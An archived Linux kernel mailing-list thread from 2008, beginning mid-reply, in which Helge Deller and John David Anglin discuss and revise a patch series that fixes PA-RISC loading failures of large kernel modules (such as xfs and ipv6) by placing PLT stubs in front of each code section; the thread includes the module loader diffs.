> directly at the end of the code sections where the stubs are actually
> called. This reduces the distance between the PCREL location and the
> stub entry so that the relocations can be fulfilled.

GCC for PA-RISC assumes that the stubs will be placed before the code
section.  This is what HP-UX does.  It's also not possible to compute
the distance to the end of a function in GCC due to the way branch
shortening is done.  If the distance to the start of the code section
is too large, GCC outputs a long call.

If you can insert them before the code section where the stubs are
called, this will minimize the chance that a pc-relative call will
not reach its stub.

It is possible to put the stubs after the code section if you can ensure
the distance for each call isn't too large.  I believe GNU ld does some
consolidation of stub blocks.

Great patch!

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 2/2] parisc: fix module loading failure of large modules
Date: Mon, 29 Dec 2008 18:56:40 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <49590F58.9040909@gmx.de>
References: <20081229161446.C91EB4EDA@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230573413 23960 80.91.229.12 (29 Dec 2008 17:56:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 29 Dec 2008 17:56:53 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	kyle@mcmartin.ca, randolph@tausq.org, jmm@inutil.org,
	torvalds@linux-foundation.org, akpm@linux-foundation.org,
	Helge Deller <deller@gmx.de>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 29 18:57:58 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHMNJ-0002X8-P1
	for glpp-linux-parisc@gmane.org; Mon, 29 Dec 2008 18:57:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751520AbYL2R4l (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Dec 2008 12:56:41 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751714AbYL2R4l
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 29 Dec 2008 12:56:41 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:33512 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751385AbYL2R4k (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Dec 2008 12:56:40 -0500
Original-Received: (qmail invoked by alias); 29 Dec 2008 17:56:38 -0000
Original-Received: from mnhm-590f7eb1.pool.einsundeins.de (EHLO halden.box) [89.15.126.177]
  by mail.gmx.net (mp046) with SMTP; 29 Dec 2008 18:56:38 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX189J7QBrSc9ZzSUHpoILdyAnhEaFRu2650kdUszJ2
	5Ql25rROXTsKWV
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20081229161446.C91EB4EDA@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.6899999999999999
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1045 gmane.linux.kernel:773378
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1045>

John David Anglin wrote:
> Hi Helge,
> 
>> With this patch we now instead append individual PLT stub entries
>> directly at the end of the code sections where the stubs are actually
>> called. This reduces the distance between the PCREL location and the
>> stub entry so that the relocations can be fulfilled.
> 
> GCC for PA-RISC assumes that the stubs will be placed before the code
> section.  This is what HP-UX does.  It's also not possible to compute
> the distance to the end of a function in GCC due to the way branch
> shortening is done.  If the distance to the start of the code section
> is too large, GCC outputs a long call.

Interesting. I didn't knew that.

> If you can insert them before the code section where the stubs are
> called, this will minimize the chance that a pc-relative call will
> not reach its stub.

Yes, good idea.
I'll change that and send an updated patch.

> Great patch!

Thanks!

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: fix module loading failure of large kernel modules
 (take 2)
Date: Mon, 29 Dec 2008 21:34:54 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <4959346E.7060600@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230582924 19862 80.91.229.12 (29 Dec 2008 20:35:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 29 Dec 2008 20:35:24 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Linus <to
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 29 21:36:30 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHOqV-00026Z-7z
	for glpp-linux-parisc@gmane.org; Mon, 29 Dec 2008 21:36:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753736AbYL2Ue6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Dec 2008 15:34:58 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753739AbYL2Ue6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 29 Dec 2008 15:34:58 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:41425 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753694AbYL2Ue4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Dec 2008 15:34:56 -0500
Original-Received: (qmail invoked by alias); 29 Dec 2008 20:34:54 -0000
Original-Received: from mnhm-590f7eb1.pool.einsundeins.de (EHLO halden.box) [89.15.126.177]
  by mail.gmx.net (mp027) with SMTP; 29 Dec 2008 21:34:54 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19NY5JApQFNnzEG7R1ms4NRNNPNnLImJG2aWoq5wX
	AMEbC0aXg5nU2Y
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.75
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1046 gmane.linux.kernel:773419
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1046>

This is the second take of the patch series.
Changes to previous version:
- new CONFIG_HAVE_MODULE_SECTION_STUBS config option
- put stub entries of a code section in front of the section

____________
The parisc port (esp. the 32bit kernel) currently lacks the ability to
load large kernel modules like xfs or ipv6. This is a long outstanding
bug and has already been reported a few times, e.g.:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=350482,
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=401439,
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=508489

The symptom is like this:
# modprobe xfs
FATAL: Error inserting xfs
(/lib/modules/2.6.26-1-parisc/kernel/fs/xfs/xfs.ko): Invalid module
format

In dmesg:
module xfs relocation of symbol xfs_btree_read_bufs is out of range
(0x3ffefffe in 17 bits)

The reason for the failure is, that the architecture only provides the
R_PARISC_PCREL17F (for 32bit kernels) and R_PARISC_PCREL22F (for PA2.0
and 64bit kernels) relocations, which sometimes can't reach the target
address of the stub entry if the kernel module is too large. Currently
parisc (like other architectures) creates one big PLT section for all
stubs at the beginning of the init and core sections.

The following two patches changes the parisc module loader to put stubs
for the code sections in front of each section, so that the distance to
the stubs more easily fits into the available 17/22 bits.

The first patch touches the generic module loader and adds a call to the
new module_additional_section_size() function to get_offset() if
CONFIG_HAVE_MODULE_SECTION_STUBS is defined. On parisc this
function returns the additional bytes for the stub area of a given section.

The second patch implements the parisc-specific changes.

Tested with 32- and 64bit parisc kernels.

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 1/2] module.c: fix module loading failure of large modules
 (take 2)
Date: Mon, 29 Dec 2008 21:43:12 +0100
Lines: 82
Approved: news@gmane.org
Message-ID: <49593660.2010900@gmx.de>
References: <4959346E.7060600@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230583413 21235 80.91.229.12 (29 Dec 2008 20:43:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 29 Dec 2008 20:43:33 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Linus <to
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 29 21:44:40 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHOyU-0004xF-TM
	for glpp-linux-parisc@gmane.org; Mon, 29 Dec 2008 21:44:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752379AbYL2UnO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Dec 2008 15:43:14 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752389AbYL2UnO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 29 Dec 2008 15:43:14 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:49297 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752280AbYL2UnN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Dec 2008 15:43:13 -0500
Original-Received: (qmail invoked by alias); 29 Dec 2008 20:43:11 -0000
Original-Received: from mnhm-590f7eb1.pool.einsundeins.de (EHLO halden.box) [89.15.126.177]
  by mail.gmx.net (mp043) with SMTP; 29 Dec 2008 21:43:11 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19oG3lgCl1oExiqNG40G7hhs2S+RHrtmvyJGzJo7O
	xPCIFVd46zi0k+
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <4959346E.7060600@gmx.de>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.45
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1047 gmane.linux.kernel:773428
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1047>

[PATCH 1/2] module.c: fix module loading failure of large modules (take 2)

When creating the final layout of a kernel module in memory, allow the
module loader to reserve some additional memory in front of a given section.
This is currently only needed for the parisc port which needs to put the
stub entries there to fulfill the 17/22bit PCREL relocations with large
kernel modules like xfs.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/include/linux/moduleloader.h b/include/linux/moduleloader.h
index eb10339..65fb34c 100644
--- a/include/linux/moduleloader.h
+++ b/include/linux/moduleloader.h
@@ -13,6 +13,9 @@ int module_frob_arch_sections(Elf_Ehdr *hdr,
 			      char *secstrings,
 			      struct module *mod);
 
+unsigned long module_additional_section_size(struct module *mod,
+					     unsigned int section);
+
 /* Allocator used for allocating struct module, core sections and init
    sections.  Returns NULL on failure. */
 void *module_alloc(unsigned long size);
diff --git a/init/Kconfig b/init/Kconfig
index f763762..5383815 100644
--- a/init/Kconfig
+++ b/init/Kconfig
@@ -908,6 +908,9 @@ config MODULE_SRCVERSION_ALL
 	  the version).  With this option, such a "srcversion" field
 	  will be created for all modules.  If unsure, say N.
 
+config HAVE_MODULE_SECTION_STUBS
+	bool
+
 config KMOD
 	def_bool y
 	help
diff --git a/kernel/module.c b/kernel/module.c
index 1f4cc00..4b86308 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -1579,10 +1579,15 @@ static int simplify_symbols(Elf_Shdr *sechdrs,
 }
 
 /* Update size with this section: return offset. */
-static long get_offset(unsigned int *size, Elf_Shdr *sechdr)
+static long get_offset(struct module *mod, unsigned int *size,
+		Elf_Shdr *sechdr, unsigned int section)
 {
 	long ret;
 
+#ifdef CONFIG_HAVE_MODULE_SECTION_STUBS
+	/* allocate some memory for stubs in front of each section */
+	*size += module_additional_section_size(mod, section);
+#endif
 	ret = ALIGN(*size, sechdr->sh_addralign ?: 1);
 	*size = ret + sechdr->sh_size;
 	return ret;
@@ -1622,7 +1627,7 @@ static void layout_sections(struct module *mod,
 			    || strncmp(secstrings + s->sh_name,
 				       ".init", 5) == 0)
 				continue;
-			s->sh_entsize = get_offset(&mod->core_size, s);
+			s->sh_entsize = get_offset(mod, &mod->core_size, s, i);
 			DEBUGP("\t%s\n", secstrings + s->sh_name);
 		}
 		if (m == 0)
@@ -1640,7 +1645,7 @@ static void layout_sections(struct module *mod,
 			    || strncmp(secstrings + s->sh_name,
 				       ".init", 5) != 0)
 				continue;
-			s->sh_entsize = (get_offset(&mod->init_size, s)
+			s->sh_entsize = (get_offset(mod, &mod->init_size, s, i)
 					 | INIT_OFFSET_MASK);
 			DEBUGP("\t%s\n", secstrings + s->sh_name);
 		}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 2/2] parisc: fix module loading failure of large modules (take
 2)
Date: Mon, 29 Dec 2008 21:45:04 +0100
Lines: 427
Approved: news@gmane.org
Message-ID: <495936D0.8060302@gmx.de>
References: <4959346E.7060600@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230583521 21534 80.91.229.12 (29 Dec 2008 20:45:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 29 Dec 2008 20:45:21 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Linus <to
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 29 21:46:26 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHP0L-0005bo-0M
	for glpp-linux-parisc@gmane.org; Mon, 29 Dec 2008 21:46:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751684AbYL2UpI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Dec 2008 15:45:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751787AbYL2UpI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 29 Dec 2008 15:45:08 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:40119 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751684AbYL2UpF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Dec 2008 15:45:05 -0500
Original-Received: (qmail invoked by alias); 29 Dec 2008 20:45:02 -0000
Original-Received: from mnhm-590f7eb1.pool.einsundeins.de (EHLO halden.box) [89.15.126.177]
  by mail.gmx.net (mp057) with SMTP; 29 Dec 2008 21:45:02 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/tHTswhS/tyYIZ5XXhizbidEaJIE3JMMzLDFOhDs
	zdOH3tWMeF7Cx1
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <4959346E.7060600@gmx.de>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.39
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1048 gmane.linux.kernel:773429
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1048>

[PATCH 2/2] parisc: fix module loading failure of large modules (take 2)

On 32bit (and sometimes 64bit) and with big kernel modules like xfs or
ipv6 the relocation types R_PARISC_PCREL17F and R_PARISC_PCREL22F may
fail to reach their PLT stub if we only create one big stub array for
all sections at the beginning of the core or init section.

With this patch we now instead add individual PLT stub entries
directly in front of the code sections where the stubs are actually
called. This reduces the distance between the PCREL location and the
stub entry so that the relocations can be fulfilled.

The kernel module loader will call module_additional_section_size() and
request us to return the amount of additional memory we need for the
stubs of each section. This memory will then be allocated in front
of the code code segment when the kernel layouts the final addresses 
of all sections.

Tested with 32- and 64bit kernels.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 644a70b..f975e31 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -9,6 +9,7 @@ config PARISC
 	def_bool y
 	select HAVE_IDE
 	select HAVE_OPROFILE
+	select HAVE_MODULE_SECTION_STUBS
 	select RTC_CLASS
 	select RTC_DRV_PARISC
 	help
diff --git a/arch/parisc/include/asm/module.h b/arch/parisc/include/asm/module.h
index c2cb49e..1f41234 100644
--- a/arch/parisc/include/asm/module.h
+++ b/arch/parisc/include/asm/module.h
@@ -23,8 +23,10 @@ struct mod_arch_specific
 {
 	unsigned long got_offset, got_count, got_max;
 	unsigned long fdesc_offset, fdesc_count, fdesc_max;
-	unsigned long stub_offset, stub_count, stub_max;
-	unsigned long init_stub_offset, init_stub_count, init_stub_max;
+	struct {
+		unsigned long stub_offset;
+		unsigned int stub_entries;
+		} *section;
 	int unwind_section;
 	struct unwind_table *unwind;
 };
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index 44138c3..f8129ce 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -6,6 +6,7 @@
  *
  *    Linux/PA-RISC Project (http://www.parisc-linux.org/)
  *    Copyright (C) 2003 Randolph Chung <tausq at debian . org>
+ *    Copyright (C) 2008 Helge Deller <deller@gmx.de>
  *
  *
  *    This program is free software; you can redistribute it and/or modify
@@ -24,6 +25,20 @@
  *
  *
  *    Notes:
+ *    - PLT stub handling
+ *      On 32bit (and sometimes 64bit) and with big kernel modules like xfs or
+ *      ipv6 the relocation types R_PARISC_PCREL17F and R_PARISC_PCREL22F may
+ *      fail to reach its PLT stub if we only create one big stub array for
+ *      all sections at the beginning of the core or init section.
+ *      Instead we now insert individual PLT stub entries directly in front of
+ *      of the code sections where the stubs are actually called.
+ *      This reduces the distance between the PCREL location and the stub entry
+ *      so that the relocations can be fulfilled.
+ *      The kernel module loader will call module_additional_section_size()
+ *      and request us to return the amount of additional memory we need for
+ *      the stubs of each section. This memory will then be allocated in front
+ *      of the code code segment.
+ *
  *    - SEGREL32 handling
  *      We are not doing SEGREL32 handling correctly. According to the ABI, we
  *      should do a value offset, like this:
@@ -58,9 +73,13 @@
 #define DEBUGP(fmt...)
 #endif
 
+#define RELOC_REACHABLE(val, bits) \
+	(( ( !((val) & (1<<((bits)-1))) && ((val)>>(bits)) != 0 )  ||	\
+	     ( ((val) & (1<<((bits)-1))) && ((val)>>(bits)) != (((__typeof__(val))(~0))>>((bits)+2)))) ? \
+	0 : 1)
+
 #define CHECK_RELOC(val, bits) \
-	if ( ( !((val) & (1<<((bits)-1))) && ((val)>>(bits)) != 0 )  ||	\
-	     ( ((val) & (1<<((bits)-1))) && ((val)>>(bits)) != (((__typeof__(val))(~0))>>((bits)+2)))) { \
+	if (!RELOC_REACHABLE(val, bits)) { \
 		printk(KERN_ERR "module %s relocation of symbol %s is out of range (0x%lx in %d bits)\n", \
 		me->name, strtab + sym->st_name, (unsigned long)val, bits); \
 		return -ENOEXEC;			\
@@ -92,13 +111,6 @@ static inline int in_local(struct module *me, void *loc)
 	return in_init(me, loc) || in_core(me, loc);
 }
 
-static inline int in_local_section(struct module *me, void *loc, void *dot)
-{
-	return (in_init(me, loc) && in_init(me, dot)) ||
-		(in_core(me, loc) && in_core(me, dot));
-}
-
-
 #ifndef CONFIG_64BIT
 struct got_entry {
 	Elf32_Addr addr;
@@ -258,23 +270,42 @@ static inline unsigned long count_stubs(const Elf_Rela *rela, unsigned long n)
 /* Free memory returned from module_alloc */
 void module_free(struct module *mod, void *module_region)
 {
+	kfree(mod->arch.section);
+	mod->arch.section = NULL;
+
 	vfree(module_region);
 	/* FIXME: If module_region == mod->init_region, trim exception
            table entries. */
 }
 
+/* return number of additional bytes to reserve for a section */
+unsigned long module_additional_section_size(struct module *mod,
+					     unsigned int section)
+{
+	/* size needed for all stubs of this section (including
+	 * one additional for correct alignment of the stubs) */
+	return (mod->arch.section[section].stub_entries + 1)
+		* sizeof(struct stub_entry);
+}
+
 #define CONST 
 int module_frob_arch_sections(CONST Elf_Ehdr *hdr,
 			      CONST Elf_Shdr *sechdrs,
 			      CONST char *secstrings,
 			      struct module *me)
 {
-	unsigned long gots = 0, fdescs = 0, stubs = 0, init_stubs = 0;
+	unsigned long gots = 0, fdescs = 0, len;
 	unsigned int i;
 
+	len = hdr->e_shnum * sizeof(me->arch.section[0]);
+	me->arch.section = kzalloc(len, GFP_KERNEL);
+	if (!me->arch.section)
+		return -ENOMEM;
+
 	for (i = 1; i < hdr->e_shnum; i++) {
-		const Elf_Rela *rels = (void *)hdr + sechdrs[i].sh_offset;
+		const Elf_Rela *rels = (void *)sechdrs[i].sh_addr;
 		unsigned long nrels = sechdrs[i].sh_size / sizeof(*rels);
+		unsigned int count, s;
 
 		if (strncmp(secstrings + sechdrs[i].sh_name,
 			    ".PARISC.unwind", 14) == 0)
@@ -290,11 +321,23 @@ int module_frob_arch_sections(CONST Elf_Ehdr *hdr,
 		 */
 		gots += count_gots(rels, nrels);
 		fdescs += count_fdescs(rels, nrels);
-		if(strncmp(secstrings + sechdrs[i].sh_name,
-			   ".rela.init", 10) == 0)
-			init_stubs += count_stubs(rels, nrels);
-		else
-			stubs += count_stubs(rels, nrels);
+
+		/* XXX: By sorting the relocs and finding duplicate entries
+		 *  we could reduce the number of necessary stubs and save
+		 *  some memory. */
+		count = count_stubs(rels, nrels);
+		if (!count)
+			continue;
+
+		/* so we need relocation stubs. reserve necessary memory. */
+		/* sh_info gives the section for which we need to add stubs. */
+		s = sechdrs[i].sh_info;
+
+		/* each code section should only have one relocation section */
+		WARN_ON(me->arch.section[s].stub_entries);
+
+		/* store number of stubs we need for this section */
+		me->arch.section[s].stub_entries += count;
 	}
 
 	/* align things a bit */
@@ -306,18 +349,8 @@ int module_frob_arch_sections(CONST Elf_Ehdr *hdr,
 	me->arch.fdesc_offset = me->core_size;
 	me->core_size += fdescs * sizeof(Elf_Fdesc);
 
-	me->core_size = ALIGN(me->core_size, 16);
-	me->arch.stub_offset = me->core_size;
-	me->core_size += stubs * sizeof(struct stub_entry);
-
-	me->init_size = ALIGN(me->init_size, 16);
-	me->arch.init_stub_offset = me->init_size;
-	me->init_size += init_stubs * sizeof(struct stub_entry);
-
 	me->arch.got_max = gots;
 	me->arch.fdesc_max = fdescs;
-	me->arch.stub_max = stubs;
-	me->arch.init_stub_max = init_stubs;
 
 	return 0;
 }
@@ -380,23 +413,27 @@ enum elf_stub_type {
 };
 
 static Elf_Addr get_stub(struct module *me, unsigned long value, long addend,
-	enum elf_stub_type stub_type, int init_section)
+	enum elf_stub_type stub_type, Elf_Addr loc0, unsigned int targetsec)
 {
-	unsigned long i;
 	struct stub_entry *stub;
 
-	if(init_section) {
-		i = me->arch.init_stub_count++;
-		BUG_ON(me->arch.init_stub_count > me->arch.init_stub_max);
-		stub = me->module_init + me->arch.init_stub_offset + 
-			i * sizeof(struct stub_entry);
-	} else {
-		i = me->arch.stub_count++;
-		BUG_ON(me->arch.stub_count > me->arch.stub_max);
-		stub = me->module_core + me->arch.stub_offset + 
-			i * sizeof(struct stub_entry);
+	/* initialize stub_offset to point in front of the section */
+	if (!me->arch.section[targetsec].stub_offset) {
+		loc0 -= (me->arch.section[targetsec].stub_entries + 1) *
+				sizeof(struct stub_entry);
+		/* get correct alignment for the stubs */
+		loc0 = ALIGN(loc0, sizeof(struct stub_entry));
+		me->arch.section[targetsec].stub_offset = loc0;
 	}
 
+	/* get address of stub entry */
+	stub = (void *) me->arch.section[targetsec].stub_offset;
+	me->arch.section[targetsec].stub_offset += sizeof(struct stub_entry);
+
+	/* do not write outside available stub area */
+	BUG_ON(0 == me->arch.section[targetsec].stub_entries--);
+
+
 #ifndef CONFIG_64BIT
 /* for 32-bit the stub looks like this:
  * 	ldil L'XXX,%r1
@@ -489,15 +526,19 @@ int apply_relocate_add(Elf_Shdr *sechdrs,
 	Elf32_Addr val;
 	Elf32_Sword addend;
 	Elf32_Addr dot;
+	Elf_Addr loc0;
+	unsigned int targetsec = sechdrs[relsec].sh_info;
 	//unsigned long dp = (unsigned long)$global$;
 	register unsigned long dp asm ("r27");
 
 	DEBUGP("Applying relocate section %u to %u\n", relsec,
-	       sechdrs[relsec].sh_info);
+	       targetsec);
 	for (i = 0; i < sechdrs[relsec].sh_size / sizeof(*rel); i++) {
 		/* This is where to make the change */
-		loc = (void *)sechdrs[sechdrs[relsec].sh_info].sh_addr
+		loc = (void *)sechdrs[targetsec].sh_addr
 		      + rel[i].r_offset;
+		/* This is the start of the target section */
+		loc0 = sechdrs[targetsec].sh_addr;
 		/* This is the symbol it is referring to */
 		sym = (Elf32_Sym *)sechdrs[symindex].sh_addr
 			+ ELF32_R_SYM(rel[i].r_info);
@@ -569,19 +610,32 @@ int apply_relocate_add(Elf_Shdr *sechdrs,
 			break;
 		case R_PARISC_PCREL17F:
 			/* 17-bit PC relative address */
-			val = get_stub(me, val, addend, ELF_STUB_GOT, in_init(me, loc));
+			/* calculate direct call offset */
+			val += addend;
 			val = (val - dot - 8)/4;
-			CHECK_RELOC(val, 17)
+			if (!RELOC_REACHABLE(val, 17)) {
+				/* direct distance too far, create
+				 * stub entry instead */
+				val = get_stub(me, sym->st_value, addend,
+					ELF_STUB_DIRECT, loc0, targetsec);
+				val = (val - dot - 8)/4;
+				CHECK_RELOC(val, 17);
+			}
 			*loc = (*loc & ~0x1f1ffd) | reassemble_17(val);
 			break;
 		case R_PARISC_PCREL22F:
 			/* 22-bit PC relative address; only defined for pa20 */
-			val = get_stub(me, val, addend, ELF_STUB_GOT, in_init(me, loc));
-			DEBUGP("STUB FOR %s loc %lx+%lx at %lx\n", 
-			       strtab + sym->st_name, (unsigned long)loc, addend, 
-			       val)
+			/* calculate direct call offset */
+			val += addend;
 			val = (val - dot - 8)/4;
-			CHECK_RELOC(val, 22);
+			if (!RELOC_REACHABLE(val, 22)) {
+				/* direct distance too far, create
+				 * stub entry instead */
+				val = get_stub(me, sym->st_value, addend,
+					ELF_STUB_DIRECT, loc0, targetsec);
+				val = (val - dot - 8)/4;
+				CHECK_RELOC(val, 22);
+			}
 			*loc = (*loc & ~0x3ff1ffd) | reassemble_22(val);
 			break;
 
